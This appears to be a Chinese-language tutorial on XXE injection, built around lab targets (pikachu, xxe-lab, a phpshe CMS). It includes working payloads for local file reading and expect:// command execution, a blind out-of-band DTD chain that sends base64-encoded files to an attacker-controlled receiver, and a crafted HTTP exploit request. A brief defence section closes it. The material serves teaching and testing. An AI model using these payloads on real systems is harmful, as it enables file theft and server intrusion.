进阶篇 11. xxe漏洞

188 阅读2分钟

9.XXE漏洞

1.XXE简介与危害

XML概念
  • 传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,
  • 数据内容分离,焦点是数据的内容,是独立于软件和硬件信息传输工具
XML与HTML的区别
  • xml,传输数据
  • html,显示数据
XXE危害
  • XXE 漏洞全称 XMLExternal Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

2.简单示例

  • 示例1 文件读取(需要Apache>=5.4版本)

    test xxe

    • 准备 XML 脚本
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//test//testxxe.txt">
    ]>
    <foo>&xxe;</foo>
    
    • 测试 image.png
  • 示例2 内外探测(鸡肋)

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://pbootcms.test.com/1.txt">
]>
<x>&xxe;</x>
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
  • 示例4 无回显

    • 修改\pikachu\vul\xxe\xxe_1.php 去掉示例1的回显 image.png
    • 添加用于接收的php文件,放到待攻击服务器
    $data = $_GET['file'];
    $myfile = fopen("file.txt","w+");
    fwrite($myfile,$data);
    fclose($myfile);
    
    • 新建vil.dtd文件,放到待攻击服务器
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//test/testxxe.txt">
    <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://pbootcms.test.com/get.php?file=%file;'>">
    %all;
    %send;
    
    • 攻击语句,放到XXE漏洞点执行
    <?xml version = "1.0"?>
    <!DOCTYPE ANY[<!ENTITY % dtd SYSTEM "http://pbootcms.test.com/vil.dtd">%dtd;]>
    
  • 示例 xxe-lab

    • 搭建xxe-lab靶场 image.png
    • 发现xxe漏洞 image.png
    • 准备xxe脚本
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "file:///C://Users//Administrator//Desktop//test/testxxe.txt">]>
    <user>
        <username>&file;</username>
        <password>12313</password>
    </user>
    
    • 测试xxe image.png
    • 获取doLogin.php的xxe脚本
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]>
    <user>
        <username>&file;</username>
        <password>12313</password>
    </user>
    
    • 测试并 base64 解析,然后查看doLogin脚本得到账号和密码 image.png image.png

3. 综合示例

  • 搭建靶场 XXE,并确保是一个网段
  • 使用kali扫描同网段1-255ip image.png
  • 通过排除法获得xxe ip为 192.168.239.138
  • 使用7kbscan扫描目录,并访问尝试获取有用信息 image.png image.png
  • 访问 /xxe 和 admin.php 得到页面 image.png

image.png

  • 抓包发现xxe漏洞 image.png
  • 通过xxe漏洞读取 xxe.php和admin.php,并分析代码得到账号和密码 image.png image.png
  • 通过在线md5解密得到密码 www.cmd5.com/ image.png
  • 输入得到的密码,得到新的路径 image.png
  • 读取 flagmeout.php 内容,获取flag JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 image.png
  • 通过经验进行解密得到 /etc/.flag.php www.bejson.com/encrypt/bas…
  • 获取/etc/.flag.php 内容 image.png image.png
  • 使用在线工具执行代码 code.y444.cn/ 或者本地php执行 image.png

4.CMS漏洞分析

  • 搭建靶场
  • 审计代码 simplexml_load_string、asXML、simplexml_load_file、simplexml_import_dom image.png
  • 找到xxe漏洞处
  • 拦截任意包改成如下包
GET /include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: phpshe.test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer:
http://phpshe.test.com/phpshe/user.php?mod=do&act=login&fromto=http%3A%2F%2Fphpshe.test.com%2Fphpshe%2F
Content-Length: 121
Cookie: safedog-flow-item=; PHPSESSID=3199gn7cbq9eudsopceplupga6
DNT: 1
Connection: close

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://pbootcms.test.com/vil.dtd">
%dtd;]>
<root>c</root>
  • 使用上面示例中的 vil.dtd 测试漏洞 image.png

5.XXE漏洞防御

XML解析器安全设置
  • 使用libxml_disable_entity_loader 禁止外部实体 libxml_disable_entity_loader(true); image.png
  • 参数过滤